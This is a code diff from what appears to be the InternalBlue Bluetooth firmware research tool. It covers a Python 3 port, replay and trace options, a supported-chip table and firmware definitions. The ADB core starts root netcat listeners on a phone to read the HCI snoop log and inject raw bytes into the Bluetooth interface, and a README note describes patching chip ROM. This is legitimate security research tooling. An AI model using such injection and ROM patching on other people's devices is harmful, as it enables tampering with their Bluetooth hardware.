"dev_bdaddr": dev_bdaddr,
"dev_flags": dev_flags,
"dev_flags_str": dev_flags_str}"""
# InternalBlueCore, Device Name, SomeString
DeviceTuple = Tuple[InternalBlue, str, str]
except:
pass
View File
+151 -68
View File
@@ -1,22 +1,48 @@
#!/usr/bin/env python2
import struct
from time import sleep
from typing import Optional
from future import standard_library
from pwnlib import adb
from pwnlib.exception import PwnlibException
standard_library.install_aliases()
from builtins import str
import datetime
import socket
import Queue
import queue as queue2k
import random
import hci
from internalblue import hci
from internalblue.utils import bytes_to_hex
from pwn import *
from core import InternalBlue
from internalblue.utils.pwnlib_wrapper import log, context, u32
from .core import InternalBlue
class ADBCore(InternalBlue):
def __init__(self, queue_size=1000, btsnooplog_filename='btsnoop.log', log_level='info', fix_binutils='True', serial='True', data_directory="."):
super(ADBCore, self).__init__(queue_size, btsnooplog_filename, log_level, fix_binutils, data_directory)
self.hciport = None # hciport is the port number of the forwarded HCI snoop port (8872). The inject port is at hciport+1
self.serial = serial # use serial su busybox scripting and do not try bluetooth.default.so
def __init__(
self,
queue_size=1000,
btsnooplog_filename="btsnoop.log",
log_level="info",
fix_binutils="True",
serial=False,
data_directory=".",
replay=False,
):
super(ADBCore, self).__init__(
queue_size,
btsnooplog_filename,
log_level,
fix_binutils,
data_directory,
replay,
)
self.hciport: Optional[int] = None # hciport is the port number of the forwarded HCI snoop port (8872). The inject port is at hciport+1
self.serial = serial # use serial su busybox scripting and do not try bluetooth.default.so
self.doublecheck = False
def device_list(self):
@@ -31,15 +57,19 @@ class ADBCore(InternalBlue):
log.warn("Already running. call shutdown() first!")
return []
if self.replay:
return [(self, "adb_replay", "adb: ReplayDevice")]
# Check for connected adb devices
try:
adb_devices = adb.devices()
except ValueError:
log.info("Could not find devices with pwnlib. If you see devices with `adb devices`, try to remove the lines 'for field in fields[2:]:... = v' in `pwnlib/adb/adb.py`.")
log.info(
"Could not find devices with pwnlib. If you see devices with `adb devices`, try to remove the lines 'for field in fields[2:]:... = v' in `pwnlib/adb/adb.py`."
)
adb_devices = 0
except:
adb_devices = 0
if adb_devices == 0 or len(adb_devices) == 0:
log.info("No adb devices found.")
return []
@@ -53,7 +83,7 @@ class ADBCore(InternalBlue):
# Third index is the label which is shown in options(...)
device_list = []
for d in adb_devices:
device_list.append((self, d.serial, 'adb: %s (%s)' % (d.serial, d.model)))
device_list.append((self, d.serial, "adb: %s (%s)" % (d.serial, d.model)))
return device_list
@@ -71,7 +101,9 @@ class ADBCore(InternalBlue):
if not self.serial:
if not self._setupSockets():
log.info("Could not connect using Bluetooth module.")
log.info("Trying to set up connection for rooted smartphone with busybox installed.")
log.info(
"Trying to set up connection for rooted smartphone with busybox installed."
)
else:
return True # successfully finished setup with bluetooth.default.so
@@ -82,7 +114,9 @@ class ADBCore(InternalBlue):
# try again
if not self._setupSockets():
log.critical("No connection to target device.")
log.info("Check if:\n -> Bluetooth is active\n -> Bluetooth Stack has Debug Enabled\n -> BT HCI snoop log is activated\n -> USB debugging is authorized\n")
log.info(
"Check if:\n -> Bluetooth is active\n -> Bluetooth Stack has Debug Enabled\n -> BT HCI snoop log is activated\n -> USB debugging is authorized\n"
)
return False
return True
@@ -93,13 +127,17 @@ class ADBCore(InternalBlue):
"""
data = self.s_snoop.recv(16)
if(len(data) < 16):
if len(data) < 16:
return None
if(self.write_btsnooplog) and self.btsnooplog_file.tell() == 0:
if (self.write_btsnooplog) and self.btsnooplog_file.tell() == 0:
self.btsnooplog_file.write(data)
self.btsnooplog_file.flush()
btsnoop_hdr = (data[:8], u32(data[8:12],endian="big"),u32(data[12:16],endian="big"))
btsnoop_hdr = (
data[:8],
u32(data[8:12], endian="big"),
u32(data[12:16], endian="big"),
)
log.debug("BT Snoop Header: %s, version: %d, data link type: %d" % btsnoop_hdr)
return btsnoop_hdr
@@ -115,7 +153,9 @@ class ADBCore(InternalBlue):
this field as 0x00E03AB44A676000.
"""
time_betw_0_and_2000_ad = int("0x00E03AB44A676000", 16)
time_since_2000_epoch = datetime.timedelta(microseconds=time) - datetime.timedelta(microseconds=time_betw_0_and_2000_ad)
time_since_2000_epoch = datetime.timedelta(
microseconds=time
) - datetime.timedelta(microseconds=time_betw_0_and_2000_ad)
return datetime.datetime(2000, 1, 1) + time_since_2000_epoch
def _recvThreadFunc(self):
@@ -135,18 +175,23 @@ class ADBCore(InternalBlue):
context.log_level = self.log_level
# Read the record header
record_hdr = b''
while(not self.exit_requested and len(record_hdr) < 24):
record_hdr = b""
while not self.exit_requested and len(record_hdr) < 24:
try:
recv_data = self.s_snoop.recv(24 - len(record_hdr))
log.debug("recvThreadFunc: received bt_snoop data " + recv_data.encode('hex'))
log.debug(
"recvThreadFunc: received bt_snoop data "
+ bytes_to_hex(recv_data)
)
if len(recv_data) == 0:
log.info("recvThreadFunc: bt_snoop socket was closed by remote site. stopping recv thread...")
log.info(
"recvThreadFunc: bt_snoop socket was closed by remote site. stopping recv thread..."
)
self.exit_requested = True
break
record_hdr += recv_data
except socket.timeout:
pass # this is ok. just try again without error
pass # this is ok. just try again without error
if not record_hdr or len(record_hdr) != 24:
if not self.exit_requested:
@@ -158,27 +203,31 @@ class ADBCore(InternalBlue):
self.btsnooplog_file.write(record_hdr)
self.btsnooplog_file.flush()
orig_len, inc_len, flags, drops, time64 = struct.unpack( ">IIIIq", record_hdr)
orig_len, inc_len, flags, drops, time64 = struct.unpack(
">IIIIq", record_hdr
)
# Read the record data
record_data = b''
while(not self.exit_requested and len(record_data) < inc_len):
record_data = bytearray()
while not self.exit_requested and len(record_data) < inc_len:
try:
recv_data = self.s_snoop.recv(inc_len - len(record_data))
if len(recv_data) == 0:
log.info("recvThreadFunc: bt_snoop socket was closed by remote site. stopping..")
log.info(
"recvThreadFunc: bt_snoop socket was closed by remote site. stopping.."
)
self.exit_requested = True
break
record_data += recv_data
record_data += bytearray(recv_data)
except socket.timeout:
pass # this is ok. just try again without error
pass # this is ok. just try again without error
if not record_data or len(record_data) != inc_len:
if not self.exit_requested:
log.warn("recvThreadFunc: Cannot recv data. stopping.")
self.exit_requested = True
break
if self.write_btsnooplog:
self.btsnooplog_file.write(record_data)
self.btsnooplog_file.flush()
@@ -189,9 +238,18 @@ class ADBCore(InternalBlue):
parsed_time = None
# Put all relevant infos into a tuple. The HCI packet is parsed with the help of hci.py.
record = (hci.parse_hci_packet(record_data), orig_len, inc_len, flags, drops, parsed_time)
record = (
hci.parse_hci_packet(record_data),
orig_len,
inc_len,
flags,
drops,
parsed_time,
)
log.debug("_recvThreadFunc Recv: [" + str(parsed_time) + "] " + str(record[0]))
log.debug(
"_recvThreadFunc Recv: [" + str(parsed_time) + "] " + str(record[0])
)
# Put the record into all queues of registeredHciRecvQueues if their
# filter function matches.
@@ -199,8 +257,10 @@ class ADBCore(InternalBlue):
if filter_function == None or filter_function(record):
try:
queue.put(record, block=False)
except Queue.Full:
log.warn("recvThreadFunc: A recv queue is full. dropping packets..")
except queue2k.Full:
log.warn(
"recvThreadFunc: A recv queue is full. dropping packets.."
)
# Call all callback functions inside registeredHciCallbacks and pass the
# record as argument.
@@ -209,9 +269,9 @@ class ADBCore(InternalBlue):
# Check if the stackDumpReceiver has noticed that the chip crashed.
# if self.stackDumpReceiver and self.stackDumpReceiver.stack_dump_has_happend:
# A stack dump has happend!
# log.warn("recvThreadFunc: The controller sent a stack dump.")
# self.exit_requested = True
# A stack dump has happend!
# log.warn("recvThreadFunc: The controller sent a stack dump.")
# self.exit_requested = True
log.debug("Receive Thread terminated.")
@@ -227,12 +287,17 @@ class ADBCore(InternalBlue):
# (with multiple attached Android devices) we must not hard code the
# forwarded port numbers. Therefore we choose the port numbers
# randomly and hope that they are not already in use.
self.hciport = random.randint(60000, 65535)
log.debug("_setupSockets: Selected random ports snoop=%d and inject=%d" % (self.hciport, self.hciport + 1))
self.hciport = random.randint(
60000, 65534
) # minus 1, as we are using hciport + 1
log.debug(
"_setupSockets: Selected random ports snoop=%d and inject=%d"
% (self.hciport, self.hciport + 1)
)
# Forward ports 8872 and 8873. Ignore log.info() outputs by the adb function.
saved_loglevel = context.log_level
context.log_level = 'warn'
context.log_level = "warn"
try:
adb.adb(["forward", "tcp:%d" % (self.hciport), "tcp:8872"])
adb.adb(["forward", "tcp:%d" % (self.hciport + 1), "tcp:8873"])
@@ -245,7 +310,7 @@ class ADBCore(InternalBlue):
# Connect to hci injection port
self.s_inject = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
self.s_inject.connect(('127.0.0.1', self.hciport + 1))
self.s_inject.connect(("127.0.0.1", self.hciport + 1))
self.s_inject.settimeout(0.5)
except socket.error:
log.warn("Could not connect to adb. Is your device authorized?")
@@ -253,16 +318,16 @@ class ADBCore(InternalBlue):
# Connect to hci snoop log port
self.s_snoop = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.s_snoop.connect(('127.0.0.1', self.hciport))
self.s_snoop.connect(("127.0.0.1", self.hciport))
self.s_snoop.settimeout(0.5)
# Read btsnoop header
if (self._read_btsnoop_hdr() == None):
if self._read_btsnoop_hdr() == None:
log.warn("Could not read btsnoop header")
self.s_inject.close()
self.s_snoop.close()
self.s_inject = self.s_snoop = None
context.log_level = 'warn'
context.log_level = "warn"
adb.adb(["forward", "--remove", "tcp:%d" % (self.hciport)])
adb.adb(["forward", "--remove", "tcp:%d" % (self.hciport + 1)])
context.log_level = saved_loglevel
@@ -274,23 +339,25 @@ class ADBCore(InternalBlue):
Close s_snoop and s_inject sockets. Remove port forwarding with adb.
"""
if (self.s_inject != None):
if self.s_inject != None:
self.s_inject.close()
self.s_inject = None
if (self.s_snoop != None):
if self.s_snoop != None:
self.s_snoop.close()
self.s_snoop = None
saved_loglevel = context.log_level
context.log_level = 'warn'
try:
adb.adb(["forward", "--remove", "tcp:%d" % (self.hciport)])
adb.adb(["forward", "--remove", "tcp:%d" % (self.hciport + 1)])
except PwnlibException as e:
log.warn("Removing adb port forwarding failed: " + str(e))
return False
finally:
context.log_level = saved_loglevel
context.log_level = "warn"
if self.hciport is not None:
hciport = self.hciport
try:
adb.adb(["forward", "--remove", f"tcp:{hciport}"])
adb.adb(["forward", "--remove", f"tcp:{hciport + 1}"])
except PwnlibException as e:
log.warn("Removing adb port forwarding failed: " + str(e))
return False
finally:
context.log_level = saved_loglevel
def _setupSerialSu(self):
"""
@@ -314,36 +381,54 @@ class ADBCore(InternalBlue):
self.serial = True
saved_loglevel = context.log_level
context.log_level = 'warn'
context.log_level = "warn"
try:
# check dependencies
if adb.which('su') is None:
if adb.which("su") is None:
log.critical("su not found, rooted smartphone required!")
return False
if adb.process(['su', '-c', 'which', 'nc']).recvall() == '':
if adb.process(["su", "-c", "which", "nc"]).recvall() == "":
log.critical("nc not found, install busybox!")
return False
# automatically detect the proper serial device with lsof
logfile = adb.process(["su", "-c", "lsof | grep btsnoop_hci.log | awk '{print $NF}'"]).recvall().strip()
logfile = (
adb.process(
["su", "-c", "lsof | grep btsnoop_hci.log | awk '{print $NF}'"]
)
.recvall()
.strip()
.decode("utf-8")
)
log.info("Android btsnoop logfile %s...", logfile)
interface = adb.process(["su", "-c", "lsof | grep bluetooth | grep tty | awk '{print $NF}'"]).recvall().strip()
interface = (
adb.process(
["su", "-c", "lsof | grep bluetooth | grep tty | awk '{print $NF}'"]
)
.recvall()
.strip()
.decode("utf-8")
)
log.info("Android Bluetooth interface %s...", interface)
if logfile == '':
log.critical("Could not find Bluetooth logfile. Enable Bluetooth snoop logging.")
if logfile == "":
log.critical(
"Could not find Bluetooth logfile. Enable Bluetooth snoop logging."
)
return False
if interface == '':
if interface == "":
log.critical("Could not find Bluetooth interface. Enable Bluetooth.")
return False
# spawn processes
adb.process(["su", "-c", 'tail -f -n +0 %s | nc -l -p 8872' % logfile])
adb.process(["su", "-c", "tail -f -n +0 %s | nc -l -p 8872" % logfile])
adb.process(["su", "-c", "nc -l -p 8873 >/sdcard/internalblue_input.bin"])
adb.process(["su", "-c", "tail -f /sdcard/internalblue_input.bin >>%s" % interface])
adb.process(
["su", "-c", "tail -f /sdcard/internalblue_input.bin >>%s" % interface]
)
sleep(2)
except PwnlibException as e:
@@ -353,5 +438,3 @@ class ADBCore(InternalBlue):
context.log_level = saved_loglevel
return True
+206 -55
View File
@@ -28,76 +28,145 @@
# Software.
from pwn import *
from __future__ import print_function
import socket
import sys
from builtins import str
import internalblue.utils.pwnlib_wrapper as pwnlib
import os
import traceback
import argparse
from adbcore import ADBCore
from hcicore import HCICore
from ioscore import iOSCore
from .adbcore import ADBCore
from .hcicore import HCICore
from sys import platform
import cmds
from . import cmds
try:
import typing
from typing import List, Optional
from internalblue.core import InternalBlue
from . import DeviceTuple
except:
pass
HISTFILE = "_internalblue.hist"
def print_banner():
banner = """\
banner = r"""
____ __ _____ __
/ _/__ / /____ _______ ___ _/ / _ )/ /_ _____
_/ // _ \/ __/ -_) __/ _ \/ _ `/ / _ / / // / -_)
/___/_//_/\__/\__/_/ /_//_/\_,_/_/____/_/\_,_/\__/
type <help> for usage information!\n\n"""
type <help> for usage information!
"""
for line in banner:
term.output(text.blue(line))
pwnlib.term.output(pwnlib.text.blue(line))
def commandLoop(internalblue):
def commandLoop(internalblue, init_commands=None):
cmdstack = init_commands.split(";")[::-1] if init_commands else None
while internalblue.running and not internalblue.exit_requested:
cmd_instance = None
try:
cmdline = term.readline.readline(prompt='> ').strip()
cmdword = cmdline.split(' ')[0].split('=')[0]
if(cmdword == ''):
if cmdstack:
cmdline = cmdstack.pop().strip()
else:
cmdline = (
pwnlib.term.readline.readline(prompt="> ").strip().decode("utf-8")
)
cmdword = cmdline.split(" ")[0].split("=")[0]
if cmdword == "":
continue
log.debug("Command Line: [[" + cmdword + "]] " + cmdline)
pwnlib.log.debug("Command Line: [[" + cmdword + "]] " + cmdline)
matching_cmd = cmds.findCmd(cmdword)
if matching_cmd == None:
log.warn("Command unknown: " + cmdline)
pwnlib.log.warn("Command unknown: " + cmdline)
continue
cmd_instance = matching_cmd(cmdline, internalblue)
if(not cmd_instance.work()):
log.warn("Command failed: " + str(cmd_instance))
if not cmd_instance.work():
pwnlib.log.warn("Command failed: " + str(cmd_instance))
except ValueError as e:
log.warn("commandLoop: ValueError: " + str(e))
continue
pwnlib.log.warn("commandLoop: ValueError: " + str(e))
raise
except KeyboardInterrupt:
if(cmd_instance != None):
if cmd_instance != None:
cmd_instance.abort_cmd()
else:
log.info("Got Ctrl-C; exiting...")
pwnlib.log.info("Got Ctrl-C; exiting...")
internalblue.exit_requested = True
break
except AssertionError as e:
raise
except socket.error as e:
if e.args == (1, "Operation not permitted"):
pwnlib.log.critical(
"Received an 'Operation not permitted' socket.error, you might need root for the command '{}'".format(
cmdline
)
)
pwnlib.log.critical(traceback.format_exc())
except Exception as e:
internalblue.exit_requested = True # Make sure all threads terminate
log.critical("Uncaught exception (%s). Abort." % str(e))
internalblue.exit_requested = True # Make sure all threads terminate
pwnlib.log.critical("Uncaught exception (%s). Abort." % str(e))
print(traceback.format_exc())
break
raise
cmd_instance = None
# Main Program Start
def internalblue_cli():
print_banner()
def _parse_argv(argv):
parser = argparse.ArgumentParser()
parser.add_argument("--data-directory", "-d", help="Set data directory. Default: ~/.internalblue")
parser.add_argument("--verbose", "-v", help="Set log level to DEBUG", action="store_true")
parser.add_argument("--ios-device", "-i", help="Tell internalblue to connect to a remote iPhone HCI socket. Specify socket IP address and port (i.e., 172.20.10.1:1234).")
parser.add_argument("--serialsu", "-s", help="On ADB, directly try su/serial/busybox scripting, if you do not have a special bluetooth.default.so file.", action="store_true")
args = parser.parse_args()
parser.add_argument(
"--data-directory", "-d", help="Set data directory. Default: ~/.internalblue"
)
parser.add_argument(
"--verbose", "-v", help="Set log level to DEBUG", action="store_true"
)
parser.add_argument(
"--ios-device",
"-i",
help="Tell internalblue to connect to a remote iPhone HCI socket. Specify socket IP address and port (i.e., 172.20.10.1:1234).",
)
parser.add_argument(
"--serialsu",
"-s",
help="On ADB, directly try su/serial/busybox scripting, if you do not have a special bluetooth.default.so file.",
action="store_true",
)
parser.add_argument("--trace", help="Trace hci connection")
parser.add_argument("--device", help="Specify device/core to be used")
parser.add_argument(
"--commands",
"-c",
help="CLI command to run before prompting, seperated by ';' (used for easier testing)",
)
parser.add_argument(
"--replay",
help="Intercept and replace every communication with the core with the one in the specified file",
)
parser.add_argument(
"--save", help="Store a trace into the file that can be used with --replay"
)
return parser.parse_args(argv)
# Entry point for the `internalblue` command entry point defined in setup.py
def internalblue_entry_point():
print_banner()
return internalblue_cli(sys.argv[1:])
# Main Program Start
def internalblue_cli(argv, args=None):
# print_banner()
args = args or _parse_argv(argv)
if args.data_directory is not None:
data_directory = args.data_directory
@@ -116,27 +185,108 @@ def internalblue_cli():
for cmd in cmds.getCmdList():
for keyword in cmd.keywords:
cmd_keywords.append(keyword)
readline_completer = term.completer.LongestPrefixCompleter(words=cmd_keywords)
term.readline.set_completer(readline_completer)
readline_completer = pwnlib.term.completer.LongestPrefixCompleter(
words=cmd_keywords
)
pwnlib.term.readline.set_completer(readline_completer)
if args.trace:
from .socket_hooks import hook
from internalblue import socket_hooks
HookClass = getattr(socket_hooks, args.trace)
hook(HCICore, HookClass)
hook(ADBCore, HookClass)
elif args.save:
from .socket_hooks import hook, TraceToFileHook
hook(HCICore, TraceToFileHook, filename=args.save)
hook(ADBCore, TraceToFileHook, filename=args.save)
# Initalize cores and get devices
if args.ios_device:
connection_methods = [iOSCore(args.ios_device, log_level=log_level,
data_directory=data_directory)]
else:
connection_methods = [
ADBCore(log_level=log_level, data_directory=data_directory, serial=args.serialsu),
HCICore(log_level=log_level, data_directory=data_directory)]
# As macOS has additional dependencies (objc), only import it here if needed
connection_methods = [] # type: List[InternalBlue]
if args.replay:
from .socket_hooks import hook, ReplaySocket
from .macoscore import macOSCore
devices = []
replay_devices = ["macos_replay", "adb_replay", "hci_replay", "ios_replay"]
if args.device == "macos_replay":
from .macoscore import macOSCore
hook(macOSCore, ReplaySocket, filename=args.replay)
connection_methods = [
macOSCore(
log_level=log_level, data_directory=data_directory, replay=True
)
]
elif args.device == "hci_replay":
hook(HCICore, ReplaySocket, filename=args.replay)
connection_methods = [
HCICore(log_level=log_level, data_directory=data_directory, replay=True)
]
elif args.device == "adb_replay":
hook(ADBCore, ReplaySocket, filename=args.replay)
connection_methods = [
ADBCore(log_level=log_level, data_directory=data_directory, replay=True)
]
elif args.device == "ios_replay":
raise NotImplementedError("ios replay is not implemented yet")
else:
raise ValueError(
"--device is required with --replay and has to be one of {}".format(
replay_devices
)
)
else:
# if /var/run/usbmuxd exists, we can check for iOS devices
if os.path.exists("/var/run/usbmuxd"):
from .ioscore import iOSCore
connection_methods.append(iOSCore(log_level=log_level, data_directory=data_directory))
if platform == "darwin":
try:
from .macoscore import macOSCore
connection_methods.append(macOSCore(log_level=log_level, data_directory=data_directory, replay=(args.replay and args.device == "mac")))
except ImportError:
pwnlib.log.warn("Couldn't import macOSCore. Is IOBluetoothExtended.framework installed?")
if args.trace:
hook(macOSCore, HookClass)
elif args.save:
hook(macOSCore, TraceToFileHook, filename=args.save)
else:
connection_methods.append(HCICore(log_level=log_level, data_directory=data_directory))
# ADB core can always be used
connection_methods.append(
ADBCore(
log_level=log_level, data_directory=data_directory, serial=args.serialsu
))
devices = [] # type: List[DeviceTuple]
for connection_method in connection_methods:
devices.extend(connection_method.device_list())
device = None # type: Optional[DeviceTuple]
if len(devices) > 0:
if len(devices) == 1:
if args.replay:
# There should only be one device that was created when --replay was passed
device = devices[0]
elif args.device:
matching_devices = [dev for dev in devices if dev[1] == args.device]
if len(matching_devices) > 1:
pwnlib.log.critical("Found multiple matching devices")
exit(-1)
elif len(matching_devices) == 1:
pwnlib.log.info("Found device is: {}".format(matching_devices[0]))
device = matching_devices[0]
else:
pwnlib.log.critical("No matching devices found")
exit(-1)
elif len(devices) == 1:
device = devices[0]
else:
i = options('Please specify device:', [d[2] for d in devices], 0)
i = pwnlib.options("Please specify device:", [d[2] for d in devices], 0)
device = devices[i]
# Setup device
@@ -145,29 +295,30 @@ def internalblue_cli():
# Restore readline history:
if os.path.exists(reference.data_directory + "/" + HISTFILE):
readline_history = read(reference.data_directory + "/" + HISTFILE)
term.readline.history = readline_history.split('\n')
readline_history = pwnlib.read(reference.data_directory + "/" + HISTFILE)
pwnlib.term.readline.history = readline_history.split(b"\n")
# Connect to device
if not reference.connect():
log.critical("No connection to target device.")
pwnlib.log.critical("No connection to target device.")
exit(-1)
# Enter command loop (runs until user quits)
commandLoop(reference)
pwnlib.log.info("Starting commandLoop for reference {}".format(reference))
commandLoop(reference, init_commands=args.commands)
# shutdown connection
reference.shutdown()
# Save readline history:
f = open(reference.data_directory + "/" + HISTFILE, "w")
f.write("\n".join(term.readline.history))
f.close()
# TODO: - This causes issues, have to fix ASAP
# f = open(reference.data_directory + "/" + HISTFILE, "w")
# f.write("\n".join(term.readline.history))
# f.close()
# Cleanup
log.info("Goodbye")
pwnlib.log.info("Goodbye")
if __name__ == "__main__":
internalblue_cli()
internalblue_cli(sys.argv[1:])
+1005 -568
View File
File diff suppressed because it is too large Load Diff
+800 -521
View File
File diff suppressed because it is too large Load Diff
+23 -17
View File
@@ -15,6 +15,7 @@ Vendor | Version | SubVersion | Firmware | Devices | Firmware Build Date
0x000f | 0x04 | 0x4203 | | HP ProBook 6550b and 6450b
0x000f | 0x05 | 0x4203 | BCM2034B | Thinkpad T420
0x000f | 0x05 | 0x610d | | iPad A1395
0x000f | 0x05 | 0x240c | BCM20733 | Magic Keyboard
0x000f | 0x06 | 0x220e | BCM20702A1 | Asus USB Bluetooth dongle, HP Elitebook 820 G2
0x000f | 0x06 | 0x229b | BCM20702A3 | MacBook Pro 13" mid 2012 (A1278)
0x000f | 0x06 | 0x4103 | BCM4330B1 | iPhone 4s
@@ -28,28 +29,31 @@ Vendor | Version | SubVersion | Firmware | Devices | Firmware Build Date
0x000f | 0x07 | 0x410d | BCM4334 | iPhone 5 (A1429)
0x000f | 0x07 | 0x4606 | BCM4324 | iPad Air (A1474)
0x000f | 0x07 | 0x6109 | BCM4335C0 (BCM4339) | Nexus 5, Xperia Z3 Compact, Samsung Galaxy Note 3, LG G4 (LG-h815) | Dec 11 2012
0x0131 | 0x08 | 0x1200 | | Philips Sonicare
0x0131 | 0x08 | 0x1200 | | Philips Sonicare (Cypress SoC CY8C4247LQI-BL483, not sure if compatible)
0x000f | 0x08 | 0x21a1 | | MacBook Pro Retina 13" early 2015
0x000f | 0x08 | 0x21a6 | BCM20703A1 | MacBook Pro early 2015
0x000f | 0x08 | 0x21a7 | BCM20703A1 | MacBook Pro early 2015 (with security fix)
0x000f | 0x08 | 0x21a8 | BCM20703A1 | MacBook Pro early 2015 (with security fix, 10.14.6)
0x000f | 0x08 | 0x220b | CYW20706 | CYW920706 Evaluation Kit, same ROM as MacBook Pro 2016 | Oct 22 2015
0x000f | 0x08 | 0x220b | BCM20707 | Fitbit Ionic
0x000f | 0x08 | 0x2230 | BCM20703A2 | MacBook Pro 2016 (A1707) | Oct 22 2015
0x000f | 0x08 | 0x2246 | BCM20703A2 | MacBook Pro 2016
0x000f | 0x08 | 0x2247 | BCM20703A2 | MacBook Pro 2016 (with security fix)
0x000f | 0x08 | 0x224b | BCM20703A2 | MacBook Pro 2016, 2017, iMac 2017 Retina 5k
0x000f | 0x08 | 0x224c | BCM20703A2 | MacBook Pro 15" 2017 (A1707)
0x000f | 0x08 | 0x2246 | BCM20703A2 | MacBook Pro 2016 | Oct 22 2015
0x000f | 0x08 | 0x2247 | BCM20703A2 | MacBook Pro 2016 (with security fix) | Oct 22 2015
0x000f | 0x08 | 0x224b | BCM20703A2 | MacBook Pro 2016, 2017, iMac 2017 Retina 5k | Oct 22 2015
0x000f | 0x08 | 0x224c | BCM20703A2 | MacBook Pro 15" 2017 (A1707) | Oct 22 2015
0x000f | 0x08 | 0x240f | BCM4358A3 | Nexus 6P, Samsung Galaxy S6, Samsung Galaxy S6 edge | Oct 23 2014
0x000f | 0x08 | 0x4109 | BCM4345B0 | iPhone 6 | Jul 15 2013
0x000f | 0x08 | 0x4109 | BCM4345B0 | iPhone 6 (Tempranillo) | Jul 15 2013
0x000f | 0x08 | 0x430a | | iPad Pro 2016 (MLMW2FD/A)
0x000f | 0x08 | 0x6103 | BCM4355C0 | iPhone 7 (A1778) | Sep 14 2015
0x000f | 0x08 | 0x6106 | | Samsung Galaxy S7
0x000f | 0x08 | 0x617e | BCM4350 | MacBook Pro 2017 (Retina 12", 13"), MacBook Pro (13", 2016)
0x000f | 0x08 | 0x6119 | BCM4345C0 | Raspberry Pi 3+, Honor 8 | Aug 19 2014
0x000f | 0x08 | 0x6206 | BCM4345C1 | iPhone SE | Jan 27 2015
0x000f | 0x09 | 0x102f | BCM4355 | MacBook Air 2019 13" Retina
0x000f | 0x09 | 0x112f | BCM4364B0 | MacBook Pro 2019 13" 4x Thunderbold
0x000f | 0x08 | 0x6103 | BCM4355C0 | iPhone 7 A1778 (Elsa) | Sep 14 2015
0x000f | 0x08 | 0x6106 | | Samsung Galaxy S7, Huawei P20
0x000f | 0x08 | 0x617e | BCM4350 | MacBook Pro 2017 (Retina 12", 13"), MacBook Pro (13", 2016) | May 28 2013
0x000f | 0x08 | 0x6119 | BCM4345C0 | Raspberry Pi 3+, Honor 8, Xperia X | Aug 19 2014
0x000f | 0x08 | 0x6206 | BCM4345C1 | iPhone SE (Hans), iPod Touch 7th Generation (MVJ72FD/A) | Jan 27 2015
0x000f | 0x09 | 0x102f | BCM4355 | MacBook Air 2019 13" Retina | Mar 7 2017
0x000f | 0x09 | 0x112e | BCM4364B0 | iMac Retina 4K 21.5"/27" 2019 macOS Mojave 10.14.6 | Aug 21 2015
0x000f | 0x09 | 0x112f | BCM4364B0 | MacBook Pro 2019 13" 4x Thunderbold | Aug 21 2015
0x000f | 0x09 | 0x103f | BCM4364 | iMac Pro 2017
0x000f | 0x09 | 0x2023 | BCM4377 | MacBook Pro 2019 13" 2x Thunderbold
0x000f | 0x09 | 0x2023 | BCM4377B3 | MacBook Pro 2019 13" 2x Thunderbold (Formosa) | Feb 28 2018
0x000f | 0x09 | 0x203f | BCM4364 | MacBook Pro (13", 2018)
0x000f | 0x09 | 0x2040 | | Apple Watch Series 3
0x000f | 0x09 | 0x2043 | BCM4346B0 | MacBook Pro 2019 15"
@@ -59,10 +63,11 @@ Vendor | Version | SubVersion | Firmware | Devices | Firmware Build Date
0x000f | 0x09 | 0x4208 | BCM4375B1 | Samsung Galaxy S10e, Samsung Galaxy S10, Samsung Galaxy S10+, Samsung Galaxy Note 10/10+ (local version is 0x1111) | April 13 2018
0x000f | 0x09 | 0x420e | BCM4347B1 | iPhone 8, XR, X | Oct 11 2016
0x0131 | 0x09 | 0x420e | CYW20739B1 | Bluetooth 5.0 BLE Evaluation Kit CYW920719Q40EVB-01 | Jan 17 2017
0x000f | 0x09 | 0x4307 | | iPhone XS, iPhone Xs Max, iPad Pro 11" 3E149FD/A, iPad Pro 11" 3E148FD/A, iPad Pro 12.9" 3rd gen 3D941FD/A, iPad mini 5th gen 3F559FD/A, iPad Air 3rd gen 3F561FD/A
0x000f | 0x09 | 0x4307 | BCM4377B2 | iPhone XS (Aladdin), iPhone Xs Max (Genie), iPad Pro 11" 3E149FD/A, iPad Pro 11" 3E148FD/A, iPad Pro 12.9" 3rd gen 3D941FD/A, iPad mini 5th gen 3F559FD/A, iPad Air 3rd gen 3F561FD/A
0x000f | 0x09 | 0x4309 | | Samsung Galaxy Note 9, Samsung Galaxy S9, S9+
0x0131 | 0x09 | 0x6119 | BCM4345C0 | Raspberry Pi 4 with Bluetooth 5 patches, same ROM as 3+ | Aug 19 2014
0x0131 | 0x09 | 0x6214 | | iPad 6th gen 3D575FD/A, iPad 6th gen MRJN2FD/A
0x0131 | 0x09 | 0x6119 | BCM4345C0 | Raspberry Pi 3+/4 --- *with Bluetooth 5 patches, same ROM as 3+* | Aug 19 2014
0x000f | 0x09 | 0x6214 | BCM4355C1 | iPad 6th gen 3D575FD/A, iPad 6th gen MRJN2FD/A, iPad 6th gen MR7J2FD/A A1893 (FigaroA)
0x000f | 0x0a | 0x4228 | BCM4378B1 | iPhone 11 (Hei), iPhone 11 Pro (Moana), iPhone 11 Pro Max (Tala) --- *announce BT 5.1 over the air despite being specified as BT 5 online*
@@ -84,6 +89,7 @@ There is a couple of issues causing trouble running *InternalBlue*, which are re
* CYW20735B1
* `Launch_RAM` works in principle, but threading seems to be broken if the executed code generates other HCI events.
A hook at `0xB0316` is a nice spot to implement a function that generates HCI events and can be called via the HCI command `0xfc19`.
The general solution seems to be `self.internalblue.patchRom(0x3d32e, "\x70\x47\x70\x47")` respectively `patch -a 0x3d32e --asm bx lr`, which fixes that the baud rate is set to a wrong value during `Launch_RAM`.
Firmware Version and Build Date
-------------------------------
+1
View File
@@ -0,0 +1 @@
from .fw import FirmwareDefinition
+106 -20
View File
@@ -1,4 +1,4 @@
#!/usr/bin/env python2
#!/usr/bin/env python
# fw.py
#
@@ -23,10 +23,83 @@
# out of or in connection with the Software or the use or other dealings in the
# Software.
from builtins import hex
from builtins import object
from types import ModuleType
from typing import List
from internalblue import Address
from pwn import log
class Firmware:
class MemorySection(object):
"""
All firmwares have memory sections that can be RAM, ROM or neither of both.
"""
def __init__(self, start_addr, end_addr, is_rom, is_ram):
self.start_addr: Address = start_addr
self.end_addr: Address = end_addr
self.is_rom: bool = is_rom
self.is_ram: bool = is_ram
def size(self) -> int:
return self.end_addr - self.start_addr
class FirmwareDefinition:
DEVICE_NAME: Address
BD_ADDR: Address
SECTIONS: List[MemorySection]
TRACEPOINT_BODY_ASM_SNIPPET: str
